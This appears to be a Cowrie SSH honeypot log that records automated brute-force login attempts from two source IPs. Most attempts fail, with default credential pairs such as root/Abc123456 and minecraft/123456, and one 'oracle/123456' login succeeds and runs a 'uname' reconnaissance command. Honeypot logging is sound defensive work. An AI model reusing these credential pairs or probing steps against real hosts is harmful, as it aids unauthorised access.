{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:16.926634Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:16.953070Z","src_ip":"47.86.95.62","session":"0f43247d4e6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.017049Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.263509Z","src_ip":"47.86.95.62","session":"0f43247d4e6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:83:cc:b0:0a:fb:32:fb:da:18:a8:2c:3e:ba:c8:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9YbMF+/l94Tr993UFLR8t5PkrJfayn/fI2YlwBCnBVjpmq4iIG3koOwKI3NXGu/ofo5DeguJKvzCRDixFJnmiZcStx15uPf9t9+ScOuTuNepWQ3e4B35F8E8ZMvOmjuwk4HzujY0q1rAIy3XPyCB5zkLQWM7f3AkQmZUiuC5KJTZjKA0vJgf279KrTgxr5EqM4q2+Fz1TuvQ4f8j9MJt1Mpt2uEWelmanHQU+ixqiqNh+KggoFRFwWjeeab1BB71LXqXXotE2zxU7ytGJ62Pq0w55uU+mZqH1dSppMkOYGsXaKoisuIrRhV1cKexOMGQHT20u6hbeeXdpCJepzASB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:83:cc:b0:0a:fb:32:fb:da:18:a8:2c:3e:ba:c8:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.441431Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:83:cc:b0:0a:fb:32:fb:da:18:a8:2c:3e:ba:c8:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9YbMF+/l94Tr993UFLR8t5PkrJfayn/fI2YlwBCnBVjpmq4iIG3koOwKI3NXGu/ofo5DeguJKvzCRDixFJnmiZcStx15uPf9t9+ScOuTuNepWQ3e4B35F8E8ZMvOmjuwk4HzujY0q1rAIy3XPyCB5zkLQWM7f3AkQmZUiuC5KJTZjKA0vJgf279KrTgxr5EqM4q2+Fz1TuvQ4f8j9MJt1Mpt2uEWelmanHQU+ixqiqNh+KggoFRFwWjeeab1BB71LXqXXotE2zxU7ytGJ62Pq0w55uU+mZqH1dSppMkOYGsXaKoisuIrRhV1cKexOMGQHT20u6hbeeXdpCJepzASB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.446542Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:8e:73:b5:d6:61:bd:8a:c3:c6:af:13:b2:d3:f1:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5W6XOWrNoypuMdEz7LyAIZKKqHKTGMNESaRDjNXPap2AHRykBQZlvA2E0A+lDIdMp29XOIluFSPhgVCD+YE0y8otyvshgjalkQY0Nj0alLjcwxeKINvwmgKJE9a66V0tbgHHX94hApIArlmHLY4M3VkffD+odrJ/TOQNtnVlyzS+4n9DBPzhw+AHCR2pfTOWpkcLR4Z3R2DDGSBQJBBu7Z5jwOxUoNBobcWuaOKFcrlDAQuVDVpl795ES35U/Qn/CKaVHLKkZuclaa/VTBEA16kj3K9/oaXZD4n86HRDNDq0ZppT7lSi8znuiPbwK6/HdBKiujtVVAoD5jND9rfbt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:8e:73:b5:d6:61:bd:8a:c3:c6:af:13:b2:d3:f1:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.554828Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:8e:73:b5:d6:61:bd:8a:c3:c6:af:13:b2:d3:f1:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5W6XOWrNoypuMdEz7LyAIZKKqHKTGMNESaRDjNXPap2AHRykBQZlvA2E0A+lDIdMp29XOIluFSPhgVCD+YE0y8otyvshgjalkQY0Nj0alLjcwxeKINvwmgKJE9a66V0tbgHHX94hApIArlmHLY4M3VkffD+odrJ/TOQNtnVlyzS+4n9DBPzhw+AHCR2pfTOWpkcLR4Z3R2DDGSBQJBBu7Z5jwOxUoNBobcWuaOKFcrlDAQuVDVpl795ES35U/Qn/CKaVHLKkZuclaa/VTBEA16kj3K9/oaXZD4n86HRDNDq0ZppT7lSi8znuiPbwK6/HdBKiujtVVAoD5jND9rfbt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.561680Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:af:88:8c:6b:a9:5d:20:2b:15:e0:64:08:9a:a2:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCfAppVe3TWy7LAyPXzdLTsWUMQVwBJWVF94iQfYiayKxPgR+EotZnhMoUk9fAwhqbIK4iQ1n/8lWF88/i2X7qynBYXqmmfggbEfGmWnGiz8XdG1yWxVbtPOKKjTyFViy12d+lUqqaJn9zz9XLjI+G/jqoWb7avT3B3+yQ95abH7VAGkly1diWA9uJQ4TC44QQNTooE2rAlUV9j+ZEa7ZGIFPhrC4cbknIsn9pnBao8eRIkzHuuNJt2P0jtlKQx+dHWwKRueR07pDDJMVl6iaJwdbdpY97sHbXIM1ApnyjlphY7ZIVSwutJdEuoKb27WaAXcxy6r/thmlkuebhfcPd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:af:88:8c:6b:a9:5d:20:2b:15:e0:64:08:9a:a2:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.654088Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:af:88:8c:6b:a9:5d:20:2b:15:e0:64:08:9a:a2:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCfAppVe3TWy7LAyPXzdLTsWUMQVwBJWVF94iQfYiayKxPgR+EotZnhMoUk9fAwhqbIK4iQ1n/8lWF88/i2X7qynBYXqmmfggbEfGmWnGiz8XdG1yWxVbtPOKKjTyFViy12d+lUqqaJn9zz9XLjI+G/jqoWb7avT3B3+yQ95abH7VAGkly1diWA9uJQ4TC44QQNTooE2rAlUV9j+ZEa7ZGIFPhrC4cbknIsn9pnBao8eRIkzHuuNJt2P0jtlKQx+dHWwKRueR07pDDJMVl6iaJwdbdpY97sHbXIM1ApnyjlphY7ZIVSwutJdEuoKb27WaAXcxy6r/thmlkuebhfcPd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.658506Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:3f:8b:86:87:cd:e1:2e:77:ac:ea:b3:aa:46:88:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxEEfmqVRTW5DZ6cygn5SQr7et5bDxHNz1PQlnQWBzniszAfBkwmq4yLLkM/A3hzcKg22+Vc9fAfp5CrAamXzXHAtgN89+VUFKjPWr7ajDOkHs/7AkY72hgYI7ZC+Z2zFTwhlkSjslP/Uh45ct3Udjd18ZEl2Ytq7pUlkIZApJQnWCNS5QramhwDJDw9O2Ko4AUPEoHYNx+JfOk8thAR2yVfIFy0I8YZW/s59Z2lcVbSrKOPpu6yglUKDMnbbyRWcBav44JLs0n4ElsmaZlLCV7q1bO+9G57gU7qbLB8UiTwgh9L3qdEBesg1EUFUG97NAwfVouBXNJs3g9d9/ENgN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:3f:8b:86:87:cd:e1:2e:77:ac:ea:b3:aa:46:88:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.748580Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:3f:8b:86:87:cd:e1:2e:77:ac:ea:b3:aa:46:88:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxEEfmqVRTW5DZ6cygn5SQr7et5bDxHNz1PQlnQWBzniszAfBkwmq4yLLkM/A3hzcKg22+Vc9fAfp5CrAamXzXHAtgN89+VUFKjPWr7ajDOkHs/7AkY72hgYI7ZC+Z2zFTwhlkSjslP/Uh45ct3Udjd18ZEl2Ytq7pUlkIZApJQnWCNS5QramhwDJDw9O2Ko4AUPEoHYNx+JfOk8thAR2yVfIFy0I8YZW/s59Z2lcVbSrKOPpu6yglUKDMnbbyRWcBav44JLs0n4ElsmaZlLCV7q1bO+9G57gU7qbLB8UiTwgh9L3qdEBesg1EUFUG97NAwfVouBXNJs3g9d9/ENgN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.753889Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:1f:c5:5b:de:8c:63:27:62:80:1e:f3:db:67:9a:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC49MnrpV51XwdV35Y2QueFrfB4mPugRXLDqm1R8X84laNXhXu+hB4C6nJOUABFCyIkXTw8qt1U3AWgaFhnkvZYyiDTI8UL6BTPbPvsHcfJV9KcnXEWwExQ3PoVRTap2qRDVB5zvB/hjovEKj4kLgLIHtw/iaGUhOKQEbzTNG2iaybSR2utApNZ8H4N1ejWqerGSfu5ND643pRVAASoLlN2NE6NTQPm6jGPq7/z64D61/Oryd0gFczhen0r4Ah3tFprG4lGXyPhH0BoMuiwytqlYAOa/VNoyP0jqV/WaaOOdS9axs5WWd76P8nAVA2AkueZ6r5xfaBqzywFTTYJOR15","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:1f:c5:5b:de:8c:63:27:62:80:1e:f3:db:67:9a:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.848671Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:1f:c5:5b:de:8c:63:27:62:80:1e:f3:db:67:9a:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC49MnrpV51XwdV35Y2QueFrfB4mPugRXLDqm1R8X84laNXhXu+hB4C6nJOUABFCyIkXTw8qt1U3AWgaFhnkvZYyiDTI8UL6BTPbPvsHcfJV9KcnXEWwExQ3PoVRTap2qRDVB5zvB/hjovEKj4kLgLIHtw/iaGUhOKQEbzTNG2iaybSR2utApNZ8H4N1ejWqerGSfu5ND643pRVAASoLlN2NE6NTQPm6jGPq7/z64D61/Oryd0gFczhen0r4Ah3tFprG4lGXyPhH0BoMuiwytqlYAOa/VNoyP0jqV/WaaOOdS9axs5WWd76P8nAVA2AkueZ6r5xfaBqzywFTTYJOR15","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.855304Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:17.948825Z","src_ip":"89.38.96.216","session":"105c8743e287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:18.477572Z","src_ip":"47.86.95.62","session":"0f43247d4e6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:19.689062Z","src_ip":"47.86.95.62","session":"0f43247d4e6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49064,"dst_ip":"10.17.0.5","dst_port":22,"session":"74a909322485","protocol":"ssh","message":"New connection: 47.86.95.62:49064 (10.17.0.5:22) [session: 74a909322485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:25.589355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:25.594233Z","src_ip":"47.86.95.62","session":"74a909322485","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:25.805352Z","src_ip":"47.86.95.62","session":"74a909322485","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:26.459654Z","src_ip":"47.86.95.62","session":"74a909322485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:27.673936Z","src_ip":"47.86.95.62","session":"74a909322485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49076,"dst_ip":"10.17.0.5","dst_port":22,"session":"237ce256ae7c","protocol":"ssh","message":"New connection: 47.86.95.62:49076 (10.17.0.5:22) [session: 237ce256ae7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:30.421845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:30.430054Z","src_ip":"47.86.95.62","session":"237ce256ae7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:30.644289Z","src_ip":"47.86.95.62","session":"237ce256ae7c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:31.347269Z","src_ip":"47.86.95.62","session":"237ce256ae7c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:31.999998Z","src_ip":"47.86.95.62","session":"237ce256ae7c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:32.003751Z","src_ip":"47.86.95.62","session":"237ce256ae7c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:32.212653Z","src_ip":"47.86.95.62","session":"237ce256ae7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:32.663930Z","src_ip":"47.86.95.62","session":"237ce256ae7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38358,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f8ea3652c45","protocol":"ssh","message":"New connection: 47.86.95.62:38358 (10.17.0.5:22) [session: 7f8ea3652c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:04.908999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:05.217677Z","src_ip":"47.86.95.62","session":"7f8ea3652c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:05.246753Z","src_ip":"47.86.95.62","session":"7f8ea3652c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:41:09.545291Z","src_ip":"47.86.95.62","session":"7f8ea3652c45","protocol":"ssh"}
